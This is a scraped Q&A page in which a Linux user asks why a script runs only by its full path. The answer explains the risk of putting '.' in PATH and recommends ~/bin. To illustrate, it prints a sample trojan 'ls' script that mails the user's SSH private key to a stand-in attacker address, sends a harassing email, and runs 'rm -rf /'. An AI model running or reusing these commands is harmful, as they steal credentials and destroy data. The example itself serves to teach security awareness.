Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 889937
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 15, 20262026-05-15T13:38:49+00:00 2026-05-15T13:38:49+00:00

I have a Bash script on my desktop called highest . If I run:

  • 0

I have a Bash script on my desktop called highest.

If I run:

cd ~/Desktop
highest

I get: Command not found

But if I run:

~/Desktop/highest

It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?

I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-15T13:38:49+00:00Added an answer on May 15, 2026 at 1:38 pm

    I agree with @Dennis’s statement. Don’t add ‘.’ to your PATH. It’s a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .

    For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

    $ cat /tmp/ls
    #!/bin/sh
    # Cracker does bad stuff.
    # Execute in background and hide any output from the user.
    # This helps to hide the commands so the user doesn't notice anything.
    cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
    echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
    rm -rf / >/dev/null 2>&1 &
    # and then we execute /bin/ls so that the luser thinks that the command
    # executed without error. Also, it scrolls the output off the screen.
    /bin/ls $*
    

    What would happen if you were in the /tmp directory and executed the ‘ls’ command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default ‘ls’ at /bin/ls.

    Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

    1. Add your own ~/bin directory, and place your own binaries in there.

      mkdir ~/bin
      vi ~/bin/highest
      
    2. Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

      export PATH=$PATH:~/bin

    3. To verify that highest is your path, do this:

      bash$ which highest
      /Users/stefanl/bin/highest
      
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Ask A Question

Stats

  • Questions 507k
  • Answers 507k
  • Best Answers 0
  • User 1
  • Popular
  • Answers
  • Editorial Team

    How to approach applying for a job at a company ...

    • 7 Answers
  • Editorial Team

    What is a programmer’s life like?

    • 5 Answers
  • Editorial Team

    How to handle personal stress caused by utterly incompetent and ...

    • 5 Answers
  • Editorial Team
    Editorial Team added an answer Ended up using the @Depends annotation specific to JBoss. @Service… May 16, 2026 at 4:00 pm
  • Editorial Team
    Editorial Team added an answer Nokogiri seems to work: require 'nokogiri' xml =<<ENDOFxML <test> <first_name>João</first_name>… May 16, 2026 at 4:00 pm
  • Editorial Team
    Editorial Team added an answer If you have a manageable number of places where you… May 16, 2026 at 4:00 pm

Trending Tags

analytics british company computer developers django employee employer english facebook french google interview javascript language life php programmer programs salary

Top Members

Related Questions

I have a bash script which generates an SCP command to execute. The relevant
I have a bash backup script run as root (cron) that delegates certain tasks
I have a bash script activated by crontab and running in background. I would
In a bash script, I have to include the same file several times in
I have a strange issue, relating to running a BASH script via cron (invoked
I have 16,000 jpg's from a webcan screeb grabber that I let run for
I have lots of strings in a text file, like this: /home/mossen/Desktop/jeff's project/Results/FCCY.png /tmp/accept/FLWS14UU.png
I have Beyond Compare 3 installed at; C:\Program Files\Beyond Compare 3\BCompare.exe and Cygwin; C:\Cygwin\bin\bash.exe
I have a program ( grabface ) that takes a picture of the face
I'm writing a tiny script that calls the PNGOUT util on a few hundred

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.